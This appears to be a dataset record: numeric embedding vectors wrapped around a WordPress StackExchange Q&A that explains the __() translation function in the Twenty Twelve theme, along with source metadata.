0.0230865478515625,
0.00539398193359375,
-0.00872039794921875,
-0.014007568359375,
-0.02197265625,
-0.01317596435546875,
-0.0072784423828125,
-0.01332855224609375,
-0.002109527587890625,
0.00902557373046875,
0.0220184326171875,
0.023712158203125,
-0.03204345703125,
-0.05401611328125,
0.005344390869140625,
0.007537841796875,
0.014923095703125,
0.04754638671875,
-0.003940582275390625,
0.052459716796875,
0.00390625,
0.06256103515625,
0.0214691162109375,
0.00750732421875,
-0.038665771484375,
-0.0238189697265625,
-0.01277923583984375,
-0.054351806640625,
-0.0043182373046875,
-0.019073486328125,
0.0194091796875,
0.03619384765625,
0.02178955078125,
0.010040283203125,
0.01513671875,
-0.005313873291015625,
-0.0029506683349609375,
-0.01512908935546875,
0.0208587646484375,
-0.00994110107421875,
-0.0031223297119140625,
0.0230560302734375,
-0.0013875961303710938,
0.01230621337890625,
-0.0115814208984375,
-0.057586669921875,
0.058990478515625,
0.00933837890625,
0.044464111328125,
-0.00144195556640625,
-0.0494384765625,
0.054412841796875,
0.1055908203125,
0.04168701171875,
0.06353759765625,
0.0272674560546875,
0.0209503173828125,
-0.0038242340087890625,
-0.0086212158203125,
-0.06494140625,
-0.02374267578125,
0.01593017578125,
0.00446319580078125,
-0.0028705596923828125,
0.03778076171875,
0.005329132080078125,
0.0285491943359375,
0.03924560546875,
0.054443359375,
-0.07965087890625,
0.01922607421875,
0.00019097328186035156,
-0.0010519027709960938,
0.05426025390625,
0.02337646484375,
-0.0282440185546875,
-0.0130157470703125,
0.0022029876708984375,
-0.0241241455078125,
-0.01641845703125,
0.027069091796875,
0.0234222412109375,
-0.0182647705078125,
-0.031341552734375,
0.0139923095703125,
0.001617431640625,
0.04888916015625,
0.003429412841796875,
-0.033416748046875,
0.00033855438232421875,
-0.007678985595703125,
0.00728607177734375,
0.0041046142578125,
-0.0364990234375,
-0.035736083984375,
-0.01084136962890625,
-0.00919342041015625,
-0.0230560302734375,
0.050018310546875,
0.03741455078125,
0.045318603515625,
0.06658935546875,
0.0016803741455078125,
0.0290679931640625,
0.01013946533203125,
0.052886962890625,
0.0026187896728515625,
-0.0567626953125,
-0.00876617431640625,
0.01224517822265625,
-0.02484130859375,
0.0089874267578125,
0.00911712646484375,
-0.04058837890625,
-0.01177978515625,
0.00655364990234375,
0.058837890625,
0.0101776123046875,
-0.032958984375,
0.0130462646484375,
0.0285797119140625,
-0.007625579833984375,
-0.00002181529998779297,
-0.0277862548828125,
-0.0182952880859375,
0.020660400390625,
-0.0037708282470703125,
-0.004573822021484375,
0.022857666015625,
0.0265655517578125,
-0.08624267578125,
0.08941650390625,
0.0193328857421875,
0.0295562744140625,
0.00977325439453125,
0.014862060546875,
-0.07366943359375,
-0.03009033203125,
-0.0269012451171875,
0.0310821533203125,
-0.0283355712890625,
0.0648193359375,
-0.0638427734375,
-0.0197601318359375,
0.0184478759765625,
0.056854248046875,
0.03961181640625,
0.0205535888671875,
-0.00017940998077392578,
0.0072479248046875,
0.0285797119140625,
0.00899505615234375,
-0.04058837890625,
0.0247802734375,
-0.00688934326171875,
0.02630615234375,
0.0450439453125,
-0.034454345703125,
0.0208282470703125,
0.01751708984375,
-0.03253173828125,
0.01824951171875,
0.01499176025390625,
0.01097869873046875,
-0.016357421875,
0.0033016204833984375,
0.0045166015625,
-0.0143585205078125,
-0.0023345947265625,
-0.0162506103515625,
-0.0005393028259277344,
0.013702392578125,
0.0020351409912109375,
-0.03216552734375,
-0.03070068359375,
-0.00525665283203125,
0.023712158203125,
0.017486572265625,
0.0404052734375,
0.0283660888671875,
0.013214111328125,
0.05157470703125,
0.001903533935546875,
0.0222015380859375,
0.03411865234375,
-0.022125244140625,
0.0222930908203125,
0.0084381103515625,
-0.00289154052734375,
-0.0310211181640625,
0.0478515625,
0.061065673828125,
0.030517578125,
-0.0447998046875,
-0.0401611328125,
0.0085601806640625,
0.01119232177734375,
0.003780364990234375,
-0.01265716552734375,
-0.0222625732421875,
0.041778564453125,
0.0692138671875,
-0.064453125,
0.00310516357421875,
0.06024169921875,
0.017730712890625,
-0.000988006591796875,
0.00775146484375,
-0.04571533203125,
-0.0259857177734375,
-0.069580078125,
-0.01161956787109375,
0.042266845703125,
0.091064453125,
0.0626220703125,
0.04931640625,
0.04071044921875,
-0.051666259765625,
-0.01666259765625,
0.039764404296875,
0.01454925537109375,
0.021759033203125,
-0.03265380859375,
-0.0163116455078125,
0.04302978515625,
0.0165863037109375,
0.001712799072265625,
0.0543212890625,
0.04736328125,
0.01464080810546875,
-0.00868988037109375,
-0.005542755126953125,
0.0226898193359375,
-0.0380859375,
0.02001953125,
-0.070068359375,
0.04205322265625,
-0.00001996755599975586,
0.005298614501953125,
-0.01529693603515625,
-0.014801025390625,
0.04608154296875,
-0.0008568763732910156,
-0.004436492919921875,
0.007373809814453125,
-0.03466796875,
0.0433349609375,
-0.0096588134765625,
0.051666259765625,
0.020904541015625,
-0.07373046875,
-0.00878143310546875,
-0.05517578125,
-0.058319091796875,
0.0447998046875,
0.046905517578125,
-0.00623321533203125,
0.01467132568359375,
0.05499267578125,
-0.0193939208984375,
0.00907135009765625,
0.005741119384765625,
0.02972412109375,
-0.0010271072387695312,
0.00321197509765625,
0.025604248046875,
-0.05657958984375,
-0.04119873046875,
-0.0007147789001464844,
0.03741455078125,
-0.0029754638671875,
0.07232666015625,
-0.0197906494140625,
0.00966644287109375,
-0.043365478515625,
-0.0077362060546875,
-0.006988525390625,
-0.0230712890625,
0.00937652587890625,
0.033172607421875,
-0.0135498046875,
-0.0173492431640625,
-0.032623291015625,
-0.003421783447265625,
0.0369873046875,
-0.0667724609375,
0.009674072265625,
-0.0035533905029296875,
0.00859832763671875,
-0.0489501953125,
0.01436614990234375,
-0.03314208984375,
-0.02984619140625,
-0.01092529296875,
0.01200103759765625,
-0.007022857666015625,
-0.00799560546875,
-0.00032973289489746094,
-0.0081329345703125,
0.0203094482421875,
-0.04376220703125,
0.032012939453125,
-0.0213623046875,
0.0711669921875,
0.049835205078125,
-0.01165008544921875,
0.0005202293395996094,
0.00457763671875,
-0.01910400390625,
0.01351165771484375,
0.01369476318359375,
0.01297760009765625,
0.003322601318359375,
-0.019866943359375,
-0.0241241455078125,
0.0113525390625,
0.01412200927734375,
-0.040191650390625,
0.0125885009765625,
0.0251617431640625,
-0.0125885009765625,
0.0167694091796875,
0.0011882781982421875,
-0.0261688232421875,
-0.04449462890625,
-0.012939453125,
0.0034160614013671875,
-0.0328369140625,
-0.0557861328125,
-0.058563232421875,
0.00916290283203125,
0.05694580078125,
0.0159454345703125,
-0.05902099609375,
0.00946044921875,
-0.0245208740234375,
0.05950927734375,
0.0128936767578125,
0.01128387451171875,
0.0165557861328125,
0.048736572265625,
-0.01004791259765625,
0.023223876953125,
0.0308990478515625,
0.00328826904296875,
0.04595947265625,
0.0227203369140625,
-0.003368377685546875,
0.005046844482421875,
0.0256195068359375,
0.03265380859375,
0.0098724365234375,
0.06365966796875,
0.034088134765625,
-0.0016603469848632812,
-0.01082611083984375,
0.0214691162109375,
-0.035400390625,
-0.0811767578125,
0.034912109375,
-0.08514404296875,
-0.0165863037109375,
-0.0217132568359375,
0.02581787109375,
0.0509033203125,
-0.026519775390625,
-0.08624267578125,
0.032379150390625,
-0.0165863037109375,
-0.043670654296875,
-0.008270263671875,
-0.0186309814453125,
-0.037384033203125,
0.09661865234375,
0.0364990234375,
-0.059234619140625,
0.004329681396484375,
0.0374755859375,
0.0174560546875,
-0.01525115966796875,
0.0419921875,
0.0025787353515625,
-0.04412841796875,
-0.0028743743896484375,
-0.01425933837890625,
-0.02117919921875,
-0.009765625,
-0.006771087646484375,
0.019287109375,
0.00899505615234375,
-0.043975830078125,
0.0263671875,
0.016510009765625,
0.029296875,
-0.0154571533203125,
-0.07867431640625,
-0.035736083984375,
-0.032867431640625,
0.09161376953125,
0.0433349609375,
0.0142974853515625,
-0.030181884765625,
-0.00235748291015625,
-0.035491943359375,
-0.0250091552734375,
-0.0219573974609375,
0.0243682861328125,
-0.1063232421875,
-0.032470703125,
0.04620361328125,
0.0012178421020507812,
-0.009246826171875,
0.0128173828125,
-0.00788116455078125,
0.006748199462890625,
0.06292724609375,
-0.0016956329345703125,
-0.031463623046875,
0.0194854736328125,
0.07232666015625,
-0.062347412109375,
-0.033233642578125,
0.0145416259765625,
-0.0193328857421875,
0.0163116455078125,
-0.0271759033203125,
-0.0306854248046875,
-0.042724609375,
-0.002155303955078125,
0.03216552734375,
-0.034515380859375,
0.04412841796875,
-0.03271484375,
-0.0163421630859375,
-0.01322174072265625,
0.041748046875,
-0.0181121826171875,
0.034637451171875,
-0.00783538818359375,
0.054656982421875,
0.0195465087890625,
0.0731201171875,
-0.0270843505859375,
0.0262298583984375,
-0.0299530029296875,
0.0240936279296875,
-0.0121307373046875,
0.00966644287109375,
0.0222320556640625,
0.0025177001953125,
-0.0011749267578125,
-0.0005121231079101562,
-0.0372314453125,
-0.00672149658203125,
-0.00849151611328125,
0.00255584716796875,
-0.0176849365234375,
0.0011281967163085938
] |
318d6c394b73b8483707fb1007823bf2d14b62bc
|
Wordpress Stackexchange
Q: What is meant by __('page','twentytwelve') I'm using twentytwelve theme with 1.0 version. I saw many codes like following,
'name' = __('page','twentytwelve');
If I give,
'name' = 'page';
It's also working fine. Then why using __()?
What is use of that?
A:
Internationalization and localization (commonly abbreviated as i18n
and l10n respectively) are terms used to describe the effort to make
WordPress (and other such projects) available in languages other than
English, for people from different locales, who use different dialects
and local preferences.
__() is used when the message is passed as an argument to another function. _e() is used to write the message directly to the page. More detail on this @ http://codex.wordpress.org/Translating_WordPress
|
Q: What is meant by __('page','twentytwelve') I'm using twentytwelve theme with 1.0 version. I saw many codes like following,
'name' = __('page','twentytwelve');
If I give,
'name' = 'page';
It's also working fine. Then why using __()?
What is use of that?
A:
Internationalization and localization (commonly abbreviated as i18n
and l10n respectively) are terms used to describe the effort to make
WordPress (and other such projects) available in languages other than
English, for people from different locales, who use different dialects
and local preferences.
__() is used when the message is passed as an argument to another function. _e() is used to write the message directly to the page. More detail on this @ http://codex.wordpress.org/Translating_WordPress
|
wordpress
|
{
"language": "en",
"length": 115,
"provenance": "stackexchange_00019.jsonl.gz:437837",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116609"
}
|
[
-0.041351318359375,
-0.0152435302734375,
-0.0217742919921875,
0.00487518310546875,
-0.035614013671875,
0.01422882080078125,
-0.0013589859008789062,
-0.0203399658203125,
0.002483367919921875,
0.00794219970703125,
0.00689697265625,
-0.0169830322265625,
0.016357421875,
-0.04754638671875,
0.0163116455078125,
-0.004268646240234375,
0.031646728515625,
-0.049530029296875,
-0.0130462646484375,
-0.021484375,
-0.020965576171875,
0.003993988037109375,
0.02923583984375,
-0.00777435302734375,
0.07098388671875,
-0.09759521484375,
0.04931640625,
-0.00647735595703125,
0.025421142578125,
-0.0299224853515625,
0.058319091796875,
0.0016431808471679688,
0.03765869140625,
0.031829833984375,
-0.046051025390625,
0.018951416015625,
-0.04693603515625,
0.02490234375,
-0.0016326904296875,
-0.0108489990234375,
0.02142333984375,
-0.0167236328125,
-0.0176544189453125,
0.0019855499267578125,
-0.0113677978515625,
-0.0496826171875,
0.04949951171875,
-0.0008764266967773438,
0.004665374755859375,
0.01097869873046875,
0.00867462158203125,
0.0200653076171875,
0.0256195068359375,
0.006549835205078125,
-0.01309967041015625,
-0.00852203369140625,
-0.007511138916015625,
-0.01398468017578125,
0.0271148681640625,
0.0386962890625,
-0.01003265380859375,
-0.011566162109375,
0.002780914306640625,
-0.04302978515625,
-0.036651611328125,
0.03570556640625,
-0.0145111083984375,
0.003910064697265625,
-0.060272216796875,
-0.07171630859375,
-0.0154266357421875,
-0.027801513671875,
0.005523681640625,
-0.00659942626953125,
0.0301055908203125,
0.007232666015625,
-0.033203125,
0.00862884521484375,
0.03997802734375,
0.0264129638671875,
0.00455474853515625,
-0.0226898193359375,
-0.06121826171875,
0.0191497802734375,
0.010528564453125,
0.06640625,
-0.0086822509765625,
-0.041351318359375,
-0.03533935546875,
-0.0156707763671875,
-0.029052734375,
-0.030853271484375,
-0.0357666015625,
0.01611328125,
-0.01021575927734375,
-0.0009984970092773438,
0.004108428955078125,
0.03155517578125,
0.0022678375244140625,
0.032501220703125,
-0.019775390625,
-0.031951904296875,
0.042022705078125,
-0.045501708984375,
0.02197265625,
0.0321044921875,
-0.00704193115234375,
0.0251007080078125,
0.042327880859375,
0.00775146484375,
-0.00850677490234375,
-0.00037598609924316406,
0.018829345703125,
0.002658843994140625,
-0.0190887451171875,
-0.00804901123046875,
-0.0137176513671875,
0.03155517578125,
0.01267242431640625,
0.005359649658203125,
0.000354766845703125,
-0.0025482177734375,
0.0172271728515625,
-0.0216064453125,
0.01036834716796875,
-0.01076507568359375,
-0.0188751220703125,
-0.0304412841796875,
0.06549072265625,
0.003910064697265625,
-0.040496826171875,
0.004314422607421875,
0.041595458984375,
-0.01218414306640625,
-0.0257720947265625,
-0.011993408203125,
0.008148193359375,
0.01136016845703125,
0.01324462890625,
0.0401611328125,
-0.060699462890625,
-0.052215576171875,
0.0268402099609375,
-0.0252838134765625,
0.00257110595703125,
-0.006381988525390625,
0.02850341796875,
0.043670654296875,
-0.0200653076171875,
-0.0526123046875,
0.0399169921875,
0.0169219970703125,
0.0293121337890625,
0.0110015869140625,
-0.07470703125,
-0.01715087890625,
-0.03515625,
-0.0298919677734375,
0.010772705078125,
-0.035400390625,
-0.0188446044921875,
-0.0011205673217773438,
0.033538818359375,
-0.0687255859375,
-0.05645751953125,
-0.0047149658203125,
-0.028167724609375,
-0.01546478271484375,
0.0123443603515625,
-0.0208282470703125,
-0.0297088623046875,
0.00455474853515625,
-0.03857421875,
0.0004773139953613281,
0.01556396484375,
0.0355224609375,
-0.06744384765625,
-0.0192718505859375,
0.040130615234375,
0.00994873046875,
-0.0019435882568359375,
-0.01389312744140625,
0.015167236328125,
0.0218963623046875,
-0.02313232421875,
-0.004909515380859375,
0.02386474609375,
0.01111602783203125,
0.0005068778991699219,
0.0120086669921875,
0.02777099609375,
0.03155517578125,
-0.041046142578125,
0.051910400390625,
-0.009185791015625,
-0.0018186569213867188,
0.0135955810546875,
0.051513671875,
-0.0082244873046875,
-0.056182861328125,
0.041717529296875,
-0.01015472412109375,
0.029296875,
-0.007297515869140625,
-0.0814208984375,
0.0164337158203125,
-0.04632568359375,
0.031494140625,
-0.0032253265380859375,
0.009246826171875,
0.01087188720703125,
-0.0113983154296875,
-0.0035305023193359375,
-0.03399658203125,
-0.039459228515625,
-0.00809478759765625,
0.0182037353515625,
0.00262451171875,
0.004146575927734375,
-0.023101806640625,
0.014190673828125,
-0.00649261474609375,
-0.013031005859375,
0.037994384765625,
0.029876708984375,
-0.004512786865234375,
-0.0286407470703125,
-0.01238250732421875,
0.02386474609375,
-0.0146942138671875,
0.035369873046875,
0.060943603515625,
0.0171966552734375,
0.0151214599609375,
-0.004241943359375,
-0.007419586181640625,
-0.0173492431640625,
-0.08441162109375,
0.0167694091796875,
0.06097412109375,
0.0479736328125,
0.011138916015625,
-0.014892578125,
-0.02978515625,
0.0310821533203125,
-0.01110076904296875,
0.0200347900390625,
-0.036468505859375,
0.0154266357421875,
0.035491943359375,
0.0024700164794921875,
-0.01332855224609375,
0.006412506103515625,
-0.075927734375,
0.005481719970703125,
0.03192138671875,
-0.04803466796875,
-0.04632568359375,
0.030853271484375,
0.024566650390625,
-0.0218505859375,
0.033050537109375,
0.03863525390625,
-0.0015802383422851562,
0.0207061767578125,
-0.037872314453125,
-0.0228424072265625,
-0.0270538330078125,
-0.02337646484375,
-0.0211334228515625,
0.042999267578125,
-0.0177001953125,
-0.0010385513305664062,
-0.01132965087890625,
-0.0345458984375,
0.018035888671875,
-0.023956298828125,
0.0318603515625,
0.00034546852111816406,
-0.0203399658203125,
-0.0286865234375,
0.025238037109375,
-0.037628173828125,
-0.0264434814453125,
-0.0171051025390625,
0.00949859619140625,
-0.017486572265625,
-0.027191162109375,
-0.04180908203125,
-0.03961181640625,
-0.0024318695068359375,
0.00518798828125,
-0.035125732421875,
-0.00038909912109375,
0.02215576171875,
-0.039154052734375,
0.01702880859375,
0.039398193359375,
-0.022247314453125,
-0.003658294677734375,
0.00814056396484375,
0.021575927734375,
0.0022907257080078125,
-0.04669189453125,
0.010223388671875,
0.0109100341796875,
0.038787841796875,
0.01404571533203125,
0.003978729248046875,
-0.0267181396484375,
-0.01021575927734375,
-0.054290771484375,
0.011810302734375,
0.04498291015625,
-0.013641357421875,
-0.0374755859375,
-0.0300750732421875,
0.012786865234375,
-0.0904541015625,
-0.06396484375,
0.021240234375,
-0.0677490234375,
-0.0240478515625,
0.01244354248046875,
-0.04766845703125,
-0.0035419464111328125,
0.033294677734375,
-0.0024814605712890625,
-0.007099151611328125,
-0.0509033203125,
-0.049530029296875,
-0.0758056640625,
-0.03900146484375,
0.01421356201171875,
-0.003650665283203125,
-0.00007331371307373047,
0.017181396484375,
-0.0167083740234375,
-0.005603790283203125,
-0.00457000732421875,
0.048736572265625,
0.062469482421875,
-0.0015249252319335938,
0.0234832763671875,
-0.0093841552734375,
-0.043182373046875,
0.029083251953125,
-0.01155853271484375,
-0.020477294921875,
-0.0223846435546875,
0.0355224609375,
-0.0219573974609375,
0.0172119140625,
0.029388427734375,
0.0146026611328125,
-0.0322265625,
0.0018529891967773438,
-0.0035419464111328125,
-0.0246734619140625,
-0.052520751953125,
-0.0244293212890625,
-0.00733184814453125,
-0.05926513671875,
0.0144805908203125,
0.0400390625,
-0.006435394287109375,
0.005096435546875,
-0.0011167526245117188,
0.00838470458984375,
-0.012420654296875,
0.0233154296875,
-0.020477294921875,
-0.0153656005859375,
-0.020050048828125,
0.01367950439453125,
-0.020294189453125,
0.07220458984375,
0.01256561279296875,
0.0033245086669921875,
0.032745361328125,
0.04193115234375,
0.0233917236328125,
-0.03857421875,
-0.047149658203125,
-0.02459716796875,
0.040557861328125,
0.006683349609375,
0.0202789306640625,
0.008758544921875,
-0.0189666748046875,
0.0194549560546875,
0.044952392578125,
0.0006918907165527344,
-0.01297760009765625,
-0.019866943359375,
-0.01568603515625,
-0.0181427001953125,
0.0019311904907226562,
-0.021331787109375,
-0.003055572509765625,
-0.0089569091796875,
-0.026275634765625,
-0.0015506744384765625,
-0.0218353271484375,
-0.034027099609375,
0.0743408203125,
-0.0222015380859375,
-0.01300048828125,
-0.001972198486328125,
0.0145721435546875,
-0.0166778564453125,
0.024627685546875,
-0.026397705078125,
0.0087738037109375,
0.013519287109375,
-0.013153076171875,
-0.08056640625,
-0.0204315185546875,
-0.0038700103759765625,
0.06866455078125,
0.01428985595703125,
-0.04888916015625,
-0.0136566162109375,
0.053497314453125,
-0.0180206298828125,
0.0294036865234375,
0.0005154609680175781,
0.0160675048828125,
0.03509521484375,
0.04229736328125,
0.018768310546875,
0.0136260986328125,
0.0288848876953125,
0.038665771484375,
-0.063232421875,
-0.0010728836059570312,
-0.00885009765625,
-0.037384033203125,
0.04620361328125,
-0.082275390625,
-0.040863037109375,
-0.04388427734375,
-0.003917694091796875,
0.01194000244140625,
-0.0269775390625,
0.02484130859375,
-0.0455322265625,
-0.0134735107421875,
0.0457763671875,
0.04278564453125,
-0.011322021484375,
0.0018205642700195312,
0.041534423828125,
0.0168304443359375,
-0.055938720703125,
-0.07745361328125,
-0.05078125,
0.037322998046875,
0.038665771484375,
0.0264739990234375,
0.00940704345703125,
-0.0263824462890625,
0.049774169921875,
0.0316162109375,
-0.0014047622680664062,
0.020416259765625,
0.018890380859375,
0.02337646484375,
-0.001758575439453125,
0.003437042236328125,
0.01435089111328125,
-0.033050537109375,
0.069091796875,
-0.01245880126953125,
-0.006237030029296875,
0.0065765380859375,
0.0223236083984375,
-0.036773681640625,
0.002620697021484375,
-0.0247802734375,
-0.01320648193359375,
0.019378662109375,
-0.01241302490234375,
-0.0258331298828125,
-0.023956298828125,
0.01178741455078125,
-0.04449462890625,
-0.05572509765625,
-0.005062103271484375,
0.05877685546875,
0.04071044921875,
-0.0009965896606445312,
0.005382537841796875,
0.046600341796875,
-0.033355712890625,
0.0014410018920898438,
-0.0213775634765625,
0.08160400390625,
-0.01161956787109375,
-0.0305633544921875,
-0.004489898681640625,
-0.024688720703125,
0.043975830078125,
0.0289764404296875,
0.0430908203125,
-0.0168609619140625,
-0.015472412109375,
-0.007442474365234375,
0.005062103271484375,
0.09686279296875,
-0.0313720703125,
0.0032367706298828125,
0.02117919921875,
-0.0186004638671875,
0.005977630615234375,
-0.0240478515625,
0.09246826171875,
0.00322723388671875,
0.030029296875,
-0.0225830078125,
-0.0012054443359375,
-0.0283203125,
0.0426025390625,
0.01461029052734375,
-0.03289794921875,
0.019256591796875,
0.0169830322265625,
0.01007843017578125,
-0.02197265625,
0.01441192626953125,
0.01678466796875,
0.02294921875,
0.002384185791015625,
-0.019378662109375,
0.016387939453125,
-0.0176849365234375,
-0.03173828125,
0.050323486328125,
0.0277557373046875,
-0.052520751953125,
-0.0278167724609375,
-0.001743316650390625,
0.0161895751953125,
-0.0090484619140625,
-0.01332855224609375,
-0.005687713623046875,
-0.025177001953125,
-0.006717681884765625,
0.010528564453125,
-0.0131378173828125,
0.0048980712890625,
-0.001049041748046875,
-0.029144287109375,
-0.0131988525390625,
0.006473541259765625,
-0.053192138671875,
-0.0153350830078125,
-0.00617218017578125,
-0.022735595703125,
0.031402587890625,
-0.018218994140625,
0.04705810546875,
-0.036895751953125,
0.0011320114135742188,
0.01369476318359375,
0.00688934326171875,
0.034423828125,
-0.0038089752197265625,
-0.01084136962890625,
-0.00372314453125,
-0.033203125,
-0.0202789306640625,
-0.0259857177734375,
-0.028778076171875,
-0.0219573974609375,
0.006450653076171875,
0.019134521484375,
0.0085601806640625,
0.02410888671875,
0.03271484375,
0.004421234130859375,
0.041107177734375,
-0.0008955001831054688,
0.035430908203125,
-0.0180206298828125,
0.04425048828125,
-0.01959228515625,
-0.0009522438049316406,
-0.0163726806640625,
0.0161590576171875,
-0.0133209228515625,
0.01947021484375,
0.034027099609375,
-0.003498077392578125,
-0.00879669189453125,
-0.0198211669921875,
-0.02581787109375,
-0.0467529296875,
0.0291900634765625,
-0.026641845703125,
0.05157470703125,
-0.0029773712158203125,
-0.0009365081787109375,
-0.0017232894897460938,
-0.027252197265625,
-0.037200927734375,
0.0169219970703125,
0.034576416015625,
-0.058197021484375,
-0.033843994140625,
0.02691650390625,
-0.0049896240234375,
0.00777435302734375,
-0.01812744140625,
-0.005252838134765625,
0.0484619140625,
-0.035491943359375,
0.005039215087890625,
0.074951171875,
0.036468505859375,
0.039642333984375,
0.01235198974609375,
0.00641632080078125,
-0.01279449462890625,
0.005084991455078125,
-0.012725830078125,
0.037384033203125,
0.034912109375,
-0.01360321044921875,
-0.00614166259765625,
-0.020904541015625,
-0.012939453125,
0.01480865478515625,
0.084228515625,
0.0836181640625,
-0.0977783203125,
-0.005931854248046875,
0.045440673828125,
-0.041595458984375,
-0.042388916015625,
-0.00605010986328125,
-0.00665283203125,
-0.07855224609375,
0.054473876953125,
-0.0128631591796875,
0.00018978118896484375,
0.00995635986328125,
-0.046142578125,
-0.00978851318359375,
-0.0176239013671875,
0.07012939453125,
0.0277252197265625,
0.0294952392578125,
-0.0262908935546875,
-0.016754150390625,
-0.01202392578125,
-0.04302978515625,
-0.0089874267578125,
0.01288604736328125,
-0.05133056640625,
-0.057708740234375,
-0.004001617431640625,
-0.02001953125,
0.01318359375,
-0.03411865234375,
-0.010101318359375,
0.010711669921875,
0.05902099609375,
-0.060943603515625,
0.02984619140625,
0.02496337890625,
0.048248291015625,
0.0216064453125,
0.0130462646484375,
0.0260162353515625,
-0.0026950836181640625,
-0.056610107421875,
0.007427215576171875,
-0.06976318359375,
0.0198974609375,
0.002719879150390625,
-0.0165252685546875,
0.0455322265625,
0.0347900390625,
-0.046844482421875,
0.00063323974609375,
-0.02606201171875,
-0.003566741943359375,
-0.0242767333984375,
-0.0007295608520507812,
-0.0870361328125,
-0.051177978515625,
-0.012237548828125,
-0.0648193359375,
0.01143646240234375,
-0.018157958984375,
-0.107666015625,
0.0662841796875,
0.0173492431640625,
0.07904052734375,
-0.028411865234375,
0.006458282470703125,
0.00901031494140625,
-0.023284912109375,
-0.0247955322265625,
0.062255859375,
-0.0084991455078125,
0.028411865234375,
-0.043426513671875,
0.020294189453125,
0.0028533935546875,
0.01541900634765625,
0.01351165771484375,
-0.005207061767578125,
0.005847930908203125,
-0.0042572021484375,
0.039337158203125,
0.040740966796875,
0.007568359375,
-0.00890350341796875,
-0.0014181137084960938,
0.0012865066528320312,
0.02362060546875,
-0.032745361328125,
0.0168914794921875,
-0.0189208984375,
-0.01070404052734375,
0.00785064697265625,
-0.007587432861328125,
-0.02960205078125,
0.00812530517578125,
0.01043701171875,
-0.088623046875,
0.017242431640625,
0.0304107666015625,
0.0035381317138671875,
0.00434112548828125,
0.012725830078125,
0.0015039443969726562,
-0.01300811767578125,
-0.0235137939453125,
-0.01241302490234375,
0.034088134765625,
0.0125732421875,
0.025054931640625,
0.05169677734375,
0.016204833984375,
0.01099395751953125,
0.00713348388671875,
0.00194549560546875,
-0.016998291015625,
0.01207733154296875,
0.048797607421875,
0.028656005859375,
0.0186767578125,
-0.022979736328125,
-0.01165771484375,
0.015411376953125,
0.04632568359375,
-0.047119140625,
0.007511138916015625,
-0.0009775161743164062,
-0.002605438232421875,
0.010711669921875,
-0.035858154296875,
0.02398681640625,
-0.01540374755859375,
-0.0223541259765625,
-0.01189422607421875,
0.00930023193359375,
0.02667236328125,
-0.0117950439453125,
-0.0038776397705078125,
0.037689208984375,
-0.039459228515625,
0.0292816162109375,
-0.046661376953125,
0.0214385986328125,
0.00618743896484375,
0.0228424072265625,
0.004673004150390625,
0.04364013671875,
0.03448486328125,
-0.00846099853515625,
-0.0013990402221679688,
-0.025909423828125,
-0.010650634765625,
0.00725555419921875,
-0.026397705078125,
0.0145263671875,
-0.016693115234375,
0.0305938720703125,
0.0101470947265625,
0.018096923828125,
0.044586181640625,
0.0174407958984375,
-0.043792724609375,
-0.005878448486328125,
0.030242919921875,
-0.032440185546875,
0.00665283203125,
-0.044342041015625,
0.0310211181640625,
-0.0173187255859375,
-0.003124237060546875,
-0.01210784912109375,
0.0416259765625,
-0.0013113021850585938,
-0.017974853515625,
-0.006683349609375,
-0.005840301513671875,
-0.051361083984375,
0.020904541015625,
-0.01262664794921875,
0.080322265625,
-0.01100921630859375,
-0.0673828125,
0.0016450881958007812,
-0.042816162109375,
-0.037841796875,
0.042877197265625,
0.035400390625,
-0.01151275634765625,
0.030120849609375,
0.0215911865234375,
0.0007524490356445312,
0.0220184326171875,
0.0170135498046875,
-0.0245361328125,
-0.0011949539184570312,
0.038970947265625,
-0.00804901123046875,
-0.00966644287109375,
0.00397491455078125,
0.006397247314453125,
0.0166473388671875,
-0.01136016845703125,
0.04620361328125,
-0.0192413330078125,
0.01047515869140625,
0.0206756591796875,
-0.007259368896484375,
0.0187225341796875,
-0.01050567626953125,
0.047210693359375,
0.035888671875,
0.0170440673828125,
-0.034759521484375,
-0.051116943359375,
-0.02490234375,
0.042266845703125,
-0.04412841796875,
-0.01378631591796875,
-0.00989532470703125,
0.032135009765625,
-0.0005168914794921875,
-0.01081085205078125,
-0.041534423828125,
0.001285552978515625,
0.00110626220703125,
-0.007549285888671875,
0.023284912109375,
-0.0452880859375,
-0.03460693359375,
0.0036487579345703125,
-0.0040740966796875,
-0.040557861328125,
0.0277557373046875,
-0.01129150390625,
-0.0292816162109375,
0.00782012939453125,
0.06304931640625,
-0.04150390625,
-0.00418853759765625,
-0.0230712890625,
-0.01528167724609375,
0.0163421630859375,
0.0170135498046875,
-0.0144195556640625,
-0.015106201171875,
-0.041015625,
-0.0158233642578125,
-0.0072021484375,
-0.0271453857421875,
0.0003273487091064453,
-0.003429412841796875,
-0.01496124267578125,
-0.0086669921875,
-0.0007996559143066406,
0.00022673606872558594,
-0.044097900390625,
-0.0191650390625,
-0.0106964111328125,
-0.0310821533203125,
0.0305328369140625,
0.0095977783203125,
-0.0180816650390625,
-0.030731201171875,
-0.0357666015625,
0.0202178955078125,
-0.01702880859375,
-0.01155853271484375,
-0.00171661376953125,
-0.06805419921875,
0.03533935546875,
-0.0196990966796875,
0.0093231201171875,
-0.04583740234375,
-0.0178070068359375,
-0.035736083984375,
0.009979248046875,
-0.01800537109375,
0.0217132568359375,
0.046661376953125,
-0.005558013916015625,
-0.03753662109375,
0.0513916015625,
0.0140533447265625,
0.0885009765625,
-0.041015625,
-0.042205810546875,
0.052337646484375,
-0.006656646728515625,
0.01251983642578125,
-0.07147216796875,
-0.035552978515625,
-0.052215576171875,
0.054168701171875,
0.042724609375,
-0.04052734375,
-0.018890380859375,
-0.058074951171875,
-0.080322265625,
0.0239715576171875,
0.0260772705078125,
-0.0537109375,
-0.054779052734375,
-0.0061798095703125,
-0.0084075927734375,
0.06951904296875,
-0.000644683837890625,
-0.029144287109375,
-0.025665283203125,
0.022003173828125,
0.0179290771484375,
0.0039520263671875,
0.046844482421875,
-0.028076171875,
-0.050689697265625,
-0.0210723876953125,
-0.01222991943359375,
0.011749267578125,
0.024627685546875,
0.005466461181640625,
-0.00024259090423583984,
0.029571533203125,
-0.046905517578125,
-0.0267791748046875,
-0.03424072265625,
-0.0416259765625,
-0.0068817138671875,
-0.017608642578125,
-0.0292816162109375,
-0.0291748046875,
0.0227813720703125,
0.035675048828125,
0.00823974609375,
-0.0157012939453125,
-0.01419830322265625,
-0.01898193359375,
-0.0307769775390625,
-0.004306793212890625,
0.031097412109375,
-0.0726318359375,
-0.00908660888671875,
0.02703857421875,
